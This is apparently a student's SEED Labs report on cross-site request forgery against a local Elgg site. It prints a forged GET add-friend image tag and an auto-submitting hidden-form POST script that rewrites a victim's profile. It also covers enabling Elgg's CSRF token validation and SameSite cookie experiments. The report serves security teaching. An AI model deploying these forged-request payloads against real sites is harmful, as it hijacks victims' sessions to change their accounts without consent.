Name: Priyanka Bugade

Subject: Computer Security

SUID: 792539943

Lab 1: Cross Site Request Forgery Attack

Task 1: Observing HTTP Request.









Access www.seed-server.com and turn on the http header live.
Once you enter the password on elgg website click on http header live and you will see here's a capture now.





That's one instance, capture something and show it, and identify the parameters used in this request. You can create them without the username and password.

Task-2 CSRF Attack using this GET Request



We go to www.attacker32.com, Currently it does not work. Because we need some modification. Click the “Add-Friend Attack” and check the source code.



We need to modify the “src part”



We need to modify the source code under “Add-Friend attack.”

Sammy wants to become friend of Alice, but Alice refuses it. So Sammy uses “CSRF Attack” to be on the Alice friends list.
So here, now we need to login as SAMMY on Elgg Website





GUID of Alice is 56. Now we can see Add Friend device parameter frame equals 56. Before we click “Add Friend” let’s start the “Http Header Live”



And token has been disabled currently for this attack.



What is the GUID of Sammy?





In order to find GUID of Sammy you can click profiles and check the source code.



Anyone can find Sammy GUID from his profile source code.

GUID of Sammy is 59



Logout from Sammy's account



In order to do CSRF attack, Alice should have active session, so Alice need to login to social website
And she can check her friends, but here below we can see no friends yet.



Now Sammy wants to add as Alice's friend





In task 2, we need to modify addfriend.html, and you can see its content using nano certainly you can modify its content from here


root@c8c750713296: /var/www/attacker
File Edit View Search Terminal Tabs Help
seed@ip-172-31-19-202: ~/C...
seed@ip-172-31-19-202: ~/C...
root@c8c750713296: /var/w...
seed@ip-172-31-19-202:~/CSE643/Lab-01/Labsetup/attacker$ docksh c8c750713296
root@c8c750713296:/# ls /var/www/
attacker html
root@c8c750713296:/# ls /var/www/attacker/
addfriend.html editprofile.html index.html testing.html
root@c8c750713296:/# cd /var/www/attacker/
root@c8c750713296:/var/www/attacker# nano addfriend.html
root@c8c750713296:/var/www/attacker#


root@c8c750713296: /var/www/attacker
File Edit View Search Terminal Tabs Help
seed@ip-172-31-19-202: ~/C...
seed@ip-172-31-19-202: ~/C...
root@c8c750713296: /var/w...
GNU nano 4.8 addfriend.html
<html>
<body>
<h1>This page forges an HTTP GET request</h1>
<img src="http://www.seed-server.com/action/friends/add?friend=59" alt="image" width="1" h
</body>
</html>


seed@ip-172-31-19-202: ~/CSE643/Lab-01/Labsetup/attacker
File Edit View Search Terminal Tabs Help
seed@ip-172-31-19-202: ~/C...
seed@ip-172-31-19-202: ~/C...
root@c8c750713296: /var/w...
seed@ip-172-31-19-202:~/CSE643/Lab-01/Labsetup$ dockps
c8c750713296 attacker-10.9.0.105
9af76087d0bd elgg-10.9.0.5
0fb0efc89ed8 mysql-10.9.0.6
seed@ip-172-31-19-202:~/CSE643/Lab-01/Labsetup$ sudo gedit etc/hosts
sudo: gedit: command not found
seed@ip-172-31-19-202:~/CSE643/Lab-01/Labsetup$ sudo gedit /etc/hosts &>/dev/null &
[1] 4294
seed@ip-172-31-19-202:~/CSE643/Lab-01/Labsetup$ ls
attacker docker-compose.yml image_attacker image_mysql image_www mysql_data
[1]+ Exit 1 sudo gedit /etc/hosts &> /dev/null
seed@ip-172-31-19-202:~/CSE643/Lab-01/Labsetup$ cd attacker/
seed@ip-172-31-19-202:~/CSE643/Lab-01/Labsetup/attacker$ ls
addfriend.html editprofile.html index.html testing.html
seed@ip-172-31-19-202:~/CSE643/Lab-01/Labsetup/attacker$





Now to attack Alice, Sammy could send a link and Alice will access that webpage then she will be attacked. It's up to you send message to Alice.

Alice has an active session on the we know we have CSRF attack to work the victim must have active session

Now click this "Add Friend Attacker" link, go back to Alice
Webpage
Refresh
"No Friends Yet"



We can refresh the source code was not updated.



We have now successfully added Sammy as a friend.



So now Alice has been attacked by that CSRF attack with a GET message.

Task 3: CSRF Attack using POST Request

1) Sammy wants to modify Alice Profile
2) We are going to look for a POST method, so we need to catch the POST message in http header live and modify the template given.
3) Again, we need to login as Sammy
4) Sammy can add his own profile over edit profile option.





5) Enter Sammy is my hero in About me section with a HTTP header live
6) Now click save and click “HTTP Header Live”





7) But we are interested in POST method used to update description here



8)And here is the POST Method, we can see it and we can see the parameters are set up here and see GUID is 59 is a Sammy now.

9)Now we want to attack Alice so we need to change this.

10)We have seen during the lecture that many of us don't have the authorization to do something which means the GUID is not right.

11) We will get a dead loop so we need to close it quickly

```
<html>
<body>
<h1>This page forges an HTTP POST request.</h1>
<script type="text/javascript">

function forge_post()
{
    var fields;
```

```
    // The following are form entries need to be filled out by attackers.
    // The entries are made hidden, so the victim won't be able to see them.
    fields += "<input type='hidden' name='name' value='****'>"; ///////Alice/////////
    fields += "<input type='hidden' name='briefdescription' value='Sammy is my hero'>";
    fields += "<input type='hidden' name='accesslevel[briefdescription]' value='2'>";
    fields += "<input type='hidden' name='guid' value='****'>";

    // Create a <form> element.
    var p = document.createElement("form");

    // Construct the form
    p.action = "http://www.example.com";    /////////////// http://www.seed-server.com/action/profile/edit
//////////////////////
    p.innerHTML = fields;
    p.method = "post";

    // Append the form to the current page.
    document.body.appendChild(p);

    // Submit the form
    p.submit();
}


// Invoke forge_post() after the page is loaded.
window.onload = function() { forge_post();}
</script>
</body>
</html>
```





12) In the above template we need to use a brief description.In this template if you want to add one more, for example, description, we can a description in the header file and it's up to you, If you want to add more.



```
</body>
</html>
root@c8c750713296:/var/www/attacker# cat editprofile.html
<html>
<body>
<h1>This page forges an HTTP POST request.</h1>
<script type="text/javascript">

function forge_post()
{
    var fields;

    // The following are form entries need to be filled out by attackers.
    // The entries are made hidden, so the victim won't be able to see them.
    fields += "<input type='hidden' name='name' value='****'>";
    fields += "<input type='hidden' name='briefdescription' value='****'>";
    fields += "<input type='hidden' name='accesslevel[briefdescription]' value='2'>";
    fields += "<input type='hidden' name='guid' value='****'>";

    // Create a <form> element.
    var p = document.createElement("form");

    // Construct the form
    p.action = "http://www.example.com";
    p.innerHTML = fields;
    p.method = "post";

    // Append the form to the current page.
    document.body.appendChild(p);

    // Submit the form
    p.submit();
}


// Invoke forge_post() after the page is loaded.
window.onload = function() { forge_post();}
```



13) Login as Alice





14) Alice checked her profile is empty

15) Now click the “Edit-Profile” Attack



Now you see that Alice Profile was successfully saved, so Alice is attacked.

Questions. In addition to describing your attack in full details, you also need to answer the following questions in your report:

- **Question 1**: The forged HTTP request needs Alice’s user id (guid) to work properly. If Boby targets Alice specifically, before the attack, he can find ways to get Alice’s user id. Boby does not know Alice’s Elgg password, so he cannot log into Alice’s account to get the information. Please describe how Boby can solve this problem.

  Obtaining a user's ID (GUID) on a web application like Elgg without knowing their password typically requires some form of information gathering or exploiting vulnerabilities in the application. Here are some methods Boby might consider to obtain Alice's user ID without knowing her password:

  1. Social Engineering: Boby could attempt to trick Alice into revealing her user ID indirectly through social engineering. For example, he might impersonate a trusted entity, send Alice a phishing email or message, and request her user ID under a plausible pretext.

2. User Enumeration: Boby could perform user enumeration attacks on Elgg. User enumeration involves trying to create an account or perform actions that reveal information about whether a specific username or email address is associated with an existing account. If Alice's username or email address is known or guessed, this method can be used to confirm her existence on the platform.
3. Information Leaks: Boby might look for information leaks within the application. Sometimes, web applications inadvertently leak user information through error messages, debug pages, or other means. These leaks can potentially expose Alice's user ID.
4. Brute Force or Guessing: Although it's not recommended and can be illegal, Boby might attempt to guess Alice's user ID through brute force or educated guessing. However, this method is highly unreliable and could lead to account lockouts or other security measures being triggered.
5. API Exploitation: If Elgg has an API that Boby can access, he might try exploiting the API to obtain user information, including Alice's user ID. This could involve sending requests to the API with different parameters and analyzing the responses.
6. Cross-Site Scripting (XSS): If Boby can find a vulnerability like XSS on Elgg that allows him to inject malicious scripts into the application, he could potentially steal user information, including user IDs, from other users' sessions.
7. Crawling and Scraping: Boby could use web crawling and scraping techniques to extract user information from publicly accessible parts of the Elgg website. This might include user profiles or other pages where user IDs are displayed.
8. Collaborative Attacks: Boby might collaborate with other attackers who have access to different information about Alice, such as her email address or username, and combine their knowledge to identify her user ID.

It's important to note that attempting to obtain someone else's user ID or personal information without their consent is unethical and often illegal. Boby should always respect privacy and adhere to ethical standards when interacting with web applications. Unauthorized access or misuse of personal information can have serious legal consequences. If Boby has legitimate reasons to access Alice's user ID, he should follow proper channels and obtain the necessary permissions.

• **Question 2:** If Boby would like to launch the attack to anybody who visits his malicious web page. In this case, he does not know who is visiting the web page beforehand. Can he still launch the CSRF attack to modify the victim’s Elgg profile? Please explain

Yes, Boby can potentially launch a Cross-Site Request Forgery (CSRF) attack on visitors to his malicious web page without knowing their identities in advance. CSRF attacks don't rely on knowing the specific identities of victims; instead, they take advantage of the fact that users

might be logged into a targeted website in the same browser session where they visit a malicious website.

Here's how a CSRF attack could work in this scenario:

1. Malicious Web Page Setup: Boby creates a malicious web page that contains hidden or disguised HTML forms or script code. These forms or scripts are designed to perform actions on the Elgg website without the visitor's knowledge.
2. Elgg Targeting: Boby knows the structure of the Elgg website and the specific actions he wants to carry out, such as modifying a user's profile.
3. Cross-Origin Request: When a visitor loads Boby's malicious web page, the malicious code or forms embedded on the page make requests to the Elgg website on behalf of the visitor. These requests may include actions like changing the user's profile details.
4. Browser Session: If the visitor to Boby's malicious site is currently logged into the Elgg website in the same browser session, their existing session cookies or credentials are automatically included with the requests to the Elgg site. This makes the Elgg site treat the requests as legitimate actions initiated by the victim, as the requests appear to originate from the victim's browser.
5. Execution: The malicious actions, such as modifying the victim's Elgg profile, are executed on the Elgg website using the victim's session, often without their knowledge or consent.

The success of a CSRF attack depends on several factors:

- Authentication State: The victim must be logged into the targeted website (Elgg, in this case) at the time they visit the malicious page. If they are not logged in, the attack won't work.
- No Anti-CSRF Tokens: If Elgg uses anti-CSRF tokens as a security measure (tokens that must be included in POST requests to verify their legitimacy), Boby's attack might fail unless he can obtain or predict these tokens.
- User Interaction: The attack may require some form of user interaction, such as clicking on a seemingly harmless button on Boby's website. This interaction can be disguised to make it more likely that users will trigger the malicious actions.

To defend against CSRF attacks, web applications like Elgg can implement measures such as anti-CSRF tokens, which make it difficult for attackers to forge requests. Website visitors should also be cautious about clicking on suspicious links or visiting untrusted websites.

Task-4. Enabling Elgg's countermeasure.

1) We need to enable this token







Csrf.php

<?php

namespace Elgg\Security;

```
use Elgg\Config;
use Elgg\CsrfException;
use Elgg\Request;
use Elgg\TimeUsing;
use ElggCrypto;
use ElggSession;

/**
 * CSRF Protection
 */
class Csrf {

	use TimeUsing;

	/**
	 * @var Config
	 */
	protected $config;

	/**
	 * @var ElggSession
	 */
	protected $session;

	/**
	 * @var ElggCrypto
	 */
	protected $crypto;
  /**
	 * @var HmacFactory
	 */
	protected $hmac;

	/**
	 * Constructor
	 *
	 * @param Config      $config  Elgg config
	 * @param ElggSession $session Session
	 * @param ElggCrypto  $crypto  Crypto service
	 * @param HmacFactory $hmac    HMAC service
	 */
	public function __construct(
		Config $config,
		ElggSession $session,
		ElggCrypto $crypto,
		HmacFactory $hmac
```

```
        ) {
$this->config = $config;
                $this->session = $session;
                $this->crypto = $crypto;
                $this->hmac = $hmac;
        }

        /**
         * Validate CSRF tokens present in the request
         *
         * @param Request $request Request
         *       * @return void
         * @throws CsrfException
         */
        public function validate(Request $request) {
                //return; // Added for SEED Labs (disabling the CSRF countermeasure)

                $token = $request->getParam('__elgg_token');
                $ts = $request->getParam('__elgg_ts');
$session_id = $this->session->getID();

                if (($token) && ($ts) && ($session_id)) {
                        if ($this->validateTokenOwnership($token, $ts)) {
                                if ($this->validateTokenTimestamp($ts)) {
                                        // We have already got this far, so unless anything
                                        // else says something to the contrary we assume we're ok
                                        $returnval = $request->elgg()->hooks-
>trigger('action_gatekeeper:permissions:check', 'all', [
                                                'token' => $token,
                                                'time' => $ts
                                        ], true);

                                        if ($returnval) {
                                                return;
                                        } else {
                                                throw new CsrfException($request->elgg()-
>echo('actiongatekeeper:pluginprevents'));
                                        }
                                } else {
                                        // this is necessary because of #5133
                                        if ($request->isXhr()) {
                                                throw new CsrfException($request->elgg()->echo(
                                                        'js:security:token_refresh_failed',
                                                        [$this->config->wwwroot]
                                                ));
                                        } else {
```

```
                                throw new CsrfException($request->elgg()->echo('actiongatekeeper:timeerror'));
                            }
                        }
                } else {
                        // this is necessary because of #5133
                        if ($request->isXhr()) {
                            throw new CsrfException($request->elgg()->echo('js:security:token_refresh_failed', [$this->config->wwwroot]));
                        } else {
                            throw new CsrfException($request->elgg()->echo('actiongatekeeper:tokeninvalid'));
                        }
                    }
                } else {
                    $error_msg = $request->elgg()->echo('actiongatekeeper:missingfields');
                    throw new CsrfException($request->elgg()->echo($error_msg));
                }
            }

            /**
             * Basic token validation
             *
             * @param string $token Token
             * @param int    $ts    Timestamp
             *
*
             * @return bool
             *
             * @internal
             */
            public function isValidToken($token, $ts) {
                return $this->validateTokenOwnership($token, $ts) && $this->validateTokenTimestamp($ts);
            }

            /**
             * Is the token timestamp within acceptable range?
             *
             * @param int $ts timestamp from the CSRF token
             *
             * @return bool
             */
            protected function validateTokenTimestamp($ts) {
                $timeout = $this->getActionTokenTimeout();
                $now = $this->getCurrentTime()->getTimestamp();
```

```
            return ($timeout == 0 || ($ts > $now - $timeout) && ($ts < $now + $timeout));
    }

        /**
         * Returns the action token timeout in seconds
         *
         * @return int number of seconds that action token is valid
         *
         * @see    Csrf::validateActionToken
         * @internal
         * @since  1.9.0
         */
        public function getActionTokenTimeout() {
            // default to 2 hours
            $timeout = 2;
            if ($this->config->hasValue('action_token_timeout')) {
                // timeout set in config
                $timeout = $this->config->action_token_timeout;
            }

            $hour = 60 * 60;

            return (int) ((float) $timeout * $hour);
        }

        /**
         * Was the given token generated for the session defined by session_token?
         *
         * @param string $token         CSRF token
    * @param int    $timestamp     Unix time
         * @param string $session_token Session-specific token
         *
         * @return bool
         * @internal
         */
        public function validateTokenOwnership($token, $timestamp, $session_token = '') {
            $required_token = $this->generateActionToken($timestamp, $session_token);

            return $this->crypto->areEqual($token, $required_token);
        }

        /**
         * Generate a token from a session token (specifying the user), the timestamp, and the site
    key.
         *
```

```
     * @param int    $timestamp     Unix timestamp
     * @param string $session_token Session-specific token
     *
     * @return false|string
     * @internal
     */
    public function generateActionToken($timestamp, $session_token = '') {
        if (!$session_token) {
            $session_token = $this->session->get('__elgg_session');
            if (!$session_token) {
                return false;
            }
        }

        return $this->hmac
            ->getHmac([(int) $timestamp, $session_token], 'md5')
            ->getToken();
}
}
```

Made changes in the return



Make changes to return // return



Now, let's enable it.

Let's clear Alice Profile and save it.





Remove Sammy and description from Alice's friend's list



So now Alice friends list is empty

We want to check whether these two attacks worked or not. Go back to the attacker website.



Click on “Add-Friend” Attack

We are unable to see any friends



Form is missing token ts fields, which means those tokens are enabled, but we didn’t supply them.(Alice session id and token does not match so the script did not execute)
Based on the same-site policy for another website cannot access this token and ts
Then we will learn another way to access them from the same website, the cross site scripting attack, how to access this tool with a cross site scripting attack

File CSRF cannot access it from another website and you will see enable as we captured in the http header live we see those two tokens

The second attack edit profile



We click it,

Now go to Alice folder click refresh



We are able to see missing token ts_fields.
Now lets switch to another page

Note: If the GUID is not right you don't have authorized to update profile, edit profile.

The countermeasure has worked



Will always have an active session that will keep the attack.



So we just need to make it disable, we just need to go away from this attack, no need to close it.

Task 5: Experimenting with the Same-Site cookie method

Experiment A



So for experiment A and B you can view the source code by right-clicking on the source code.

So the cookies are inside list testing.html.

Here Link A is from same website and Link B is from different website, so we will see how this same site cookie works.

When you click on Link A



When you click on GET request

When you click on POST request



We are not able to see the PHP code because we are not on the client side



Above is the same site cookie experiment code and see how it access those cookies

Experiment-B



When you click on POST request

When you click on GET request



Let's try a post you only see this cookie normal

- **Please describe what you see and explain why some cookies are not sent in certain scenarios.**

  When we were in our website our three cookies were executing and when we were coming from the attacker website the strict cookies were not executing. Why?
  This is the functionality of strict cookies.

- **Based on your understanding, please describe how the SameSite cookies can help a server detect whether a request is a cross-site or same-site request.**

  SameSite cookies are designed to help a server differentiate between cross-site and same-site requests by specifying how cookies should be handled in various contexts. Here's how SameSite cookies work to enable the server to detect the nature of a request:

  1. SameSite Cookie Attribute:
     - When a server sets a cookie with the SameSite attribute, it defines how the cookie should be treated in relation to the site's origin.
  2. Same-Site Requests:

- For requests that originate from the same site (i.e., have the same domain and protocol as the web page that set the cookie), the SameSite cookie will be sent along with the request as usual. These are considered "same-site requests."

3. Cross-Site Requests:
    - In the case of cross-site requests (requests originating from a different site), the behavior of SameSite cookies varies depending on the SameSite attribute value.
4. SameSite=Strict:
    - If the SameSite attribute is set to "Strict," the cookie is not sent with cross-site requests at all. This means that the server can detect that a request is cross-site because the cookie will be absent in the request headers.
5. SameSite=Lax:
    - When the SameSite attribute is set to "Lax," the cookie is sent with certain types of cross-site requests, such as top-level navigations initiated by clicking a link. The server can use the presence of the cookie to determine that the request is cross-site.
6. SameSite=None (with Secure):
    - If the SameSite attribute is set to "None" in combination with the "Secure" attribute (i.e., "SameSite=None; Secure"), the cookie is sent with all cross-site requests, regardless of the context. However, this should only be used for specific scenarios where cross-origin interactions are necessary.

In summary, the SameSite attribute, when used in cookies, provides a mechanism for the server to instruct the browser on how to handle the cookie in different request contexts. By configuring the SameSite attribute appropriately, the server can effectively identify whether a request is cross-site or same-site based on whether the cookie is included in the request headers and under what circumstances it is sent.
This distinction is important for security purposes, as it helps prevent unauthorized cross-site request forgery (CSRF) attacks by controlling how cookies are used in cross-origin interactions while allowing legitimate same-site requests to function normally.

- **Please describe how you would use the SameSite cookie mechanism to help Elgg defend against CSRF attacks. You only need to describe general ideas, and there is no need to implement them.**

  Using the SameSite cookie attribute is a valuable strategy to help defend against Cross-Site Request Forgery (CSRF) attacks in web applications like Elgg. Here are the general ideas of how Elgg could leverage the SameSite cookie mechanism for CSRF protection:

  1. **SameSite Cookie Attribute**:
      - Elgg can set the SameSite attribute on its session cookies. The SameSite attribute can have three possible values: "Strict," "Lax," or "None."
  2. **Strict SameSite Value**:
      - When a cookie has the "SameSite=Strict" attribute, the browser will only send the cookie in a first-party context. This means the cookie will be sent only if the request originates from the same site (i.e., the same domain) as the web page that set the cookie. This setting provides the highest level of protection against CSRF attacks.

3. **Lax SameSite Value**:
    - Using "SameSite=Lax" allows the cookie to be sent with top-level navigation requests, such as when a user clicks a link. However, the cookie won't be sent with cross-origin POST requests that could be used for CSRF attacks. This offers a balance between security and usability.
4. **None SameSite Value (with Secure)**:
    - When "SameSite=None" is used in combination with the "Secure" attribute (i.e., "SameSite=None; Secure"), the cookie can be sent in cross-origin requests initiated by third-party sites, but only over secure HTTPS connections. This is commonly used for scenarios where certain cross-origin interactions are required, such as Single Sign-On (SSO) solutions.
5. **Strict as the Default**:
    - Elgg can set "SameSite=Strict" as the default for its session cookies unless there is a specific need for a lax or cross-origin behavior, in which case, the "Lax" or "None" SameSite attribute can be used selectively.
6. **Additional Security Measures**:
    - Elgg should complement SameSite cookie settings with other security measures, such as anti-CSRF tokens. This ensures that even if a CSRF attack manages to send a request with the correct session cookie, it won't succeed without the corresponding token.
7. **Testing and Monitoring**:
    - Regularly testing and monitoring the effectiveness of SameSite cookie settings is crucial. Elgg should ensure that the desired level of protection against CSRF attacks is being achieved and that legitimate user interactions are not adversely affected.

By using the SameSite cookie attribute appropriately, Elgg can significantly reduce the risk of CSRF attacks by controlling how cookies are sent in cross-origin requests. This helps protect users from unauthorized actions initiated by malicious websites while maintaining a good user experience on the platform.